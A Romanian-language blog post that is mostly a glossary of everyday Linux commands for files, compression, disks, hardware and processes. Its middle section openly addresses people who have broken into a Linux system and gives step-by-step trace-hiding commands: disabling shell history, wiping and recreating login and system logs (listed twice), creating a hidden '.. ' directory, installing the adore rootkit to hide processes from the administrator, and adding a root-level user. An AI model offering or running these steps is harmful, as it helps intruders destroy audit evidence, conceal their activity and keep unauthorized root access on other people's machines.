Linux Useful Commands

Acest topic este destinat tuturor utilizatorilor Linux ce vor sa cunoasca mai multe comenzi de Terminal*. Aici sunt prezentate mai multe comenzi care pot fi utilizate practic zilnic in activitatea voastra. Vreau sa aduc aminte ca aici sunt scrise doar comenzile (cele mai des utilizate) nu si optiunile acestora. Pentru a afla optiunile posibile de utilizare a unei comenzi scrieti:
Code:
comanda --help

File/Directory Basics
ls - listeaza file
cp - copie file
mv - redenumeste file
rm - sterge file
ln - link file
cd - schimba directoriu
pwd - vizualizeaza directoriul curent
mkdir - creaza fisier
rmdir - sterge fisier

File Viewing
cat - vizualizeaza file
less - listeaza printre fileuri
head - vizualizeaza headerul unui file
tail - vizualizeaza footerul unui file
nl - vizualizeaza numarul de linii
od - vizualizeaza datele binare
xxd - vizualizeaza datele binare
gv - vizualizeaza file Postscript/PDF
xdvi - vizualizeaza file TeX DVI

File Creation and Editing
emacs - Text editor
vim - Text editor
umask - Set default file protections
soffice - editeaza documente Word/Excel/PowerPoint
abiword - editeaza documente Word
gnumeric - editeaza documente Excell

File Properties
stat - vizualizeaza atributivele de file
wc - numara biti/cuvinte/linii
du - masoara utilizarea HDD
file - identifica tipul unui file
touch - schimba file timestamps
chown - schimba proprietarul unui file
chgrp - schimba grupul unui file
chmod - schimba drepturile de acces
chattr - schimba drepturile de acces
lsattr - vizualizeaza drepturile de acces

File Location
find - cauta file
slocate - cauta file prin index
which - cauta comanda
whereis - cauta fileurile standart

File Text Manipulation
grep - cauta linii identice intr-un file
cut - extrage text
paste - introduce text
tr - transleaza caractere
sort - sorteaza liniile
uniq - cauta liniile identice
tee - Copy stdin to a file and to stdout simultaneously

File Compression
gzip - arhiveaza file (GNU Zip)
compress - arhiveaza file (Unix)
bzip2 - arhiveaza file (BZip2)
zip - arhiveaza file (Windows Zip)

File Comparison
diff - compara 2 fileuri linie cu linie
comm - compara fileurile sortate
cmp - compara 2 fileuri bit cu bit
md5sum - calculeaza checksums

Disks and Filesystems
df - vizualizeaza spatiul liber HDD
mount - face un disk accesibil
fsck - scaneaza un disk pentru erori
sync - flush disk caches

Backups and Remote Storage
mt - controleaza un tape drive
dump - backup disk
restore - restore backup
tar - citeste/scrie arhive tape
cdrecord - inscrie un CD
rsync - mirror a set of files

Bun pana aici sper ca am fost destul de explicit (sper), daca undeva am facut vreo greseala va rog frumos sa ma corectati.

Am sa mai postez cateva comenzi elementare care va ajuta sa nu lasati urme cand intrati pe un anumit sistem de operare Linux bine aici ma intorc si fac o paranteza spunand ca daca adminu este destept si stie linux bine va cam frigeti :uimit: nu prea aveti cum sa va ascundeti. Sa trecem la treaba ;) , (aceste comenzi sunt pentru a va proteja pe voi insiva,)

unset HISTFILE HISTSAVE
history -n
unset WATCH
export HISTFILE=/dev/null ( nu va recomand sa o dati comanda asta daca sunteti incepatori)
rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history

*Cum vom face un director ascuns? De regula la comanda "ls" sunt afisate directoare si fisiere normale, cele care au un "." (punct) sau ".." (doua puncte), nu sunt afisate. Cu ajutorul comenzii "mkdir" puteti crea orice director (ex. mkdir ".. " - am creat directorul " doua puncte si un spatiu deoarece directorul ".." (fara spatiu) exista in toate radacinile).
Exemplu
cd /usr/local/exemplu
mkdir ".. "
In sfarsit cu ajutoru acestor doua comenzi am facut un director ascuns care nu va fi prea usor de gasit daca se va tine cont de a lucra in server cu capul nu cu ura si lacomie. In directorul nou creat puteti aduce arhive si sa le ascundeti cu adore
si nimeni nu le va gasi (Probabilitate 98 - 99 %). Acum ce este adore si cum instalam adore? Avem doua intrebari care pentru unii nu mai reprezinta o problema dar pentru altii sunt folositoare. Asadar adore este un program care te ascunde in server sau ascunde procesele care nu vrei sa fie vazute de catre administrator. Acest program este usor de instalat si nu trebuie decat sa faceti urmatorii pasi: consideram ca suntem tot in directorul:
/usr/local/exemple/".. "/
aduceti arhiva adore.tgz,o dezarhivati si urmati comenzile
cd adore
./configure
make
./startadore
oldps axw sau socklist
./awa i
si asa ati ascuns procesul unui program lansat de voi!

*Iar daca vreti sa inchideti un port care nu il puteti securiza? Nimic mai simplu, lansati comenda de mai jos in care scrieti in locul cerut numarul portului.
/sbin/ipchains -A input --destination-port -p tcp -j REJECT

*Cum facem un user cu drepturi de root?
/usr/sbin/adduser -g 0 -u 0
passwd

Acum dupa ce va terminati treaba pe root, trebuie sa va stergeti si urmele pentru a nu vedea adminu, si trebuie sterse urmatoarele fisiere:

rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
cd /root
rm -rf .bash_history
touch .bash_history
Comenzi utile linux
Cateva comenzi ce servesc la afisarea informatiei despre hardware...

lspci
Vizualizeaza informatii despre motherboard si sloturile pci.

lsdev
Vizualizeaza informatii despre DMA, IRQ, IO ports.

cat /proc/cpuinfo
Informatii despre procesul (cpu info) - vizualizeaza continutul file`ului cpuinfo. Atentie! Toate file`urile din catalogul /proc nu sunt adevarate ci doar o farma confortabila de acces la informatia de sistema.

cat /proc/interrupts
Lista intreruperilor folosite ulterior. Se poate folosi inaintea instalarii componentelor hardware noi.

smartctl -a /dev/hda; hdparm -i /dev/hda
Vizualizeaza informatii despre HDD (in loc de /dev/hda poate fi /dev/hdb, /dev/hdc etc.)

[SIZE="3"]Cu urmatoarele comenzi este posibil de aflat informatii despre sistemul de operare Linux instalat pe pc.[/SIZE]

xdpyinfo
Cu aceasta comanda ve`ti afla informatii despre sistemul de ferestre si anume: versiunea, release X, modulele incarcate si extensiile acestora, date despre ecranul dvs si alte informatii...

xvinfo
Vizualizeaza informatii despre driver`ul placii video, parametrele acesteia cu configurarile de la moment.

uname -a
Vizualizeaza informatii despre sistem ca: versiunea kernel, numele sistemului de retea, tipul procesorului, tipul platformei si sistemului de operare.

cat /etc/issue
Arata ce distributiv Linux folositi

uptime
Vizualizeaza timpul trecut de la ultima lansare a sistemului

echo "GMT = `date +%s` seconds since 1970" vizualizeaza timpul trecut de la lansarea linux =)))

fdisk -l
Vizualizeaza informatii despre HDD si participii (partitions)

service --status-all
Este pentru controlarea serviciilor lansate la moment.

chkconfig --list | more
Aceasta comanda este pentru a vizualiza lista serviciilor (lansate / oprite) la toate nivele de executare

last
Vizualizeaza lista userilor logati in sistem in ultimul timp. Astfel, poti afla cine ti`a privit filmele tale murdare in timp ce nu ai fost acasa =)))

sar
Vizualizarea informatiei despre activitatea sistemului de operare aflat in /var/log/sarxx unde xx este numarul zilei. Deasemnea poate da informatii despre lucrul procesorului, statistica traficului de retea pentru ziua curenta.

free
Vizualizeaza informatii despre memoria pc`ului si memoria swap.

vmstat
Prezinta date despre utilizarea memoriei, procesorului si swap..

Procese si informatii despre acestea...

ps
Vizualizeaza toate procesele active la moment fara vreun parametru

top
Indica procesele lansate si pe acelea care folosesc cel mai mult timp procesat

[SIZE="3"]Lucrul cu file`urile pe linux...[/SIZE]

df -h
Vizualizeaza memoria ocupata de pe HDD`ul dvs

du -sh; du -sh /home/username
Vizualizeaza memoria ocupata de pe directoriul indicat dvs

find . -maxdepth 1 -type d -print | xargs du -sh | sort -rn
Arata marimea tuturor directoriilor dintr`un catalog dat

find . -maxdepth 1 -type d -exec du -sk {} \; | sort -rn
Fix aceeasi doar ca mai repede si mai simplu

egrep -v "^#|^[:blank:]*$" file
Vizualizarea file`ului fara comentarii si rinduri goale. Este util pentru observarea confguratiilor.

egrep -v "^#|^$" file
Acelasi lucru doar ca mai simplu....

Schimbarea drepturilor de citire

find . -type f -exec chmod 644 {} \; find /home/username/test -type f -exec chmod 644 {} \;
Cu aceasta comanda putem schimba drepturile la file

find . -type d -exec chmod 755 {} \; find /home/username/test -type d -exec chmod 755 {} \;
Iar cu aceasta putem schimba drepturile de citire la fisier

Niciun comentariu: